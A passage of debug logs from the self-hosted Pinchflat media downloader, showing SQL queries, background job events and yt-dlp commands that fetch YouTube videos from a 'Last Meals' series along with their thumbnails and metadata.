s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:03:22.746 [debug] QUERY OK source="settings" db=0.0ms idle=1688.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:03:22.746 [debug] QUERY OK source="settings" db=0.0ms idle=1688.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:03:22.746 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ExEAhFIaNbA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/28/49/2849ae713676bad001134f4ed92a2bea71d1bb034bedae7db3770367cb04e650.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:03:28.621 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:58.621 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:00.576 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:04:05.515 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZkiiyJYaXkQ --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/8d/6a/8d6ae2bd990af3b82594e3706c9ad2f6e06cda4d186986596ba5e9c2127ca392.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:04:05.524 [debug] Running yt-dlp command for action: download_thumbnail 21:04:05.524 [debug] QUERY OK source="settings" db=0.0ms idle=1466.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:04:05.524 [debug] QUERY OK source="settings" db=0.0ms idle=1467.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:04:05.524 [debug] QUERY OK source="settings" db=0.0ms idle=1467.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:04:05.524 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZkiiyJYaXkQ --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/13/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/bc/73/bc73a7b7345073867774994982b6f7ab0bad4333337096faca907f94c21ed5de.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:04:08.047 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZkiiyJYaXkQ --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/13/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/bc/73/bc73a7b7345073867774994982b6f7ab0bad4333337096faca907f94c21ed5de.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:04:08.047 [debug] QUERY OK db=0.0ms idle=1293.5ms begin [] 21:04:08.048 [debug] QUERY OK source="media_items" db=0.6ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:04:05Z], "/downloads/Last Meals/2023-11-28 Steve-O Eats His Last Meal/Steve-O Eats His Last Meal [ZkiiyJYaXkQ].mp4", ~U[2026-03-28 01:04:08Z], 13] 21:04:08.049 [debug] QUERY OK source="media_metadata" db=0.5ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/13/metadata.json.gz", "/config/metadata/media_items/13/thumbnail.jpg", 13, ~U[2026-03-28 01:04:08Z], ~U[2026-03-28 01:04:08Z]] 21:04:08.049 [debug] QUERY OK db=0.1ms commit [] 21:04:08.050 [debug] QUERY OK source="media_items" db=1.1ms idle=991.8ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [412422084, ~U[2026-03-28 01:04:08Z], 13] 21:04:08.050 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:04:08.050 [info] {"args":{"id":13},"id":16,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":126187966,"event":"job:stop","queue_time":892862419,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:04:08.056 [info] {"args":{"id":16},"id":19,"meta":{},"system_time":1774659848056894031,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:04:08.057 [debug] QUERY OK source="media_items" db=0.0ms idle=302.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [16] 21:04:08.057 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:04:08.057 [debug] QUERY OK source="sources" db=0.0ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:04:08.057 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:04:08.057 [debug] QUERY OK source="media_items" db=0.0ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [16] 21:04:08.057 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [16] 21:04:08.058 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:04:08.058 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:04:08.058 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:04:08.058 [debug] Running yt-dlp command for action: get_downloadable_status 21:04:08.058 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:04:08.058 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:04:08.058 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:04:08.058 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=BkZcJFfJb9o --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/70/f5/70f52400247398932a183cb00b50ece1d84e86ab2a2fbed234e4be1196bc7106.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:04:10.458 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=BkZcJFfJb9o --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/70/f5/70f52400247398932a183cb00b50ece1d84e86ab2a2fbed234e4be1196bc7106.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:04:10.458 [debug] Running yt-dlp command for action: download 21:04:10.458 [debug] QUERY OK source="settings" db=0.1ms idle=701.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:04:10.458 [debug] QUERY OK source="settings" db=0.0ms idle=401.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:04:10.458 [debug] QUERY OK source="settings" db=0.0ms idle=401.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:04:10.458 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=BkZcJFfJb9o --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/55/2f/552fc3cb9ed74b9a11934dbd768ffb37626d336f6f658dc48a8d3286df195664.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:04:28.622 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:58.624 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:00.578 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:05:28.625 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:57.452 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ExEAhFIaNbA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/28/49/2849ae713676bad001134f4ed92a2bea71d1bb034bedae7db3770367cb04e650.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:05:57.462 [debug] Running yt-dlp command for action: download_thumbnail 21:05:57.462 [debug] QUERY OK source="settings" db=0.0ms idle=1405.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:05:57.463 [debug] QUERY OK source="settings" db=0.0ms idle=1405.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:05:57.463 [debug] QUERY OK source="settings" db=0.0ms idle=1405.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:05:57.463 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ExEAhFIaNbA --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/15/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/6c/44/6c4493035df10199858467b79113abaa5a7126dfbd1a6d151862934ff61a638a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:05:58.627 [info] {"source":"oban","duration":1110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:00.143 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ExEAhFIaNbA --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/15/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/6c/44/6c4493035df10199858467b79113abaa5a7126dfbd1a6d151862934ff61a638a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:06:00.143 [debug] QUERY OK db=0.0ms idle=1086.2ms begin [] 21:06:00.144 [debug] QUERY OK source="media_items" db=0.4ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:05:57Z], "/downloads/Last Meals/2025-06-17 Atsuko Okatsuka Eats Her Last Meal/Atsuko Okatsuka Eats Her Last Meal [ExEAhFIaNbA].mp4", ~U[2026-03-28 01:06:00Z], 15] 21:06:00.144 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/15/metadata.json.gz", "/config/metadata/media_items/15/thumbnail.jpg", 15, ~U[2026-03-28 01:06:00Z], ~U[2026-03-28 01:06:00Z]] 21:06:00.144 [debug] QUERY OK db=0.0ms commit [] 21:06:00.146 [debug] QUERY OK source="media_items" db=0.6ms idle=1087.9ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [484522244, ~U[2026-03-28 01:06:00Z], 15] 21:06:00.146 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:06:00.146 [info] {"args":{"id":15},"id":18,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":160265303,"event":"job:stop","queue_time":967880347,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:06:00.152 [info] {"args":{"id":17},"id":20,"meta":{},"system_time":1774659960152706740,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:06:00.152 [debug] QUERY OK source="media_items" db=0.0ms idle=95.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [17] 21:06:00.152 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:06:00.153 [debug] QUERY OK source="sources" db=0.0ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:06:00.153 [debug] QUERY OK source="media_profiles" db=0.0ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:06:00.153 [debug] QUERY OK source="media_items" db=0.1ms idle=6.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [17] 21:06:00.153 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [17] 21:06:00.153 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:06:00.154 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:06:00.154 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:06:00.154 [debug] Running yt-dlp command for action: get_downloadable_status 21:06:00.154 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:06:00.154 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:06:00.154 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:06:00.154 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=zq_xrmmyWCE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/6a/3b/6a3ba2a23f62b196ff5fcd44ab27b6f1ef066328429f541fbafaf61fce9f958c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:06:00.578 [info] {"source":"oban","duration":186,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:06:02.458 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=zq_xrmmyWCE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/6a/3b/6a3ba2a23f62b196ff5fcd44ab27b6f1ef066328429f541fbafaf61fce9f958c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:06:02.459 [debug] Running yt-dlp command for action: download 21:06:02.459 [debug] QUERY OK source="settings" db=0.2ms idle=493.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:06:02.459 [debug] QUERY OK source="settings" db=0.0ms idle=402.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:06:02.459 [debug] QUERY OK source="settings" db=0.1ms idle=402.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:06:02.459 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=zq_xrmmyWCE --no-simulate --no-progress --no-force-overwrites 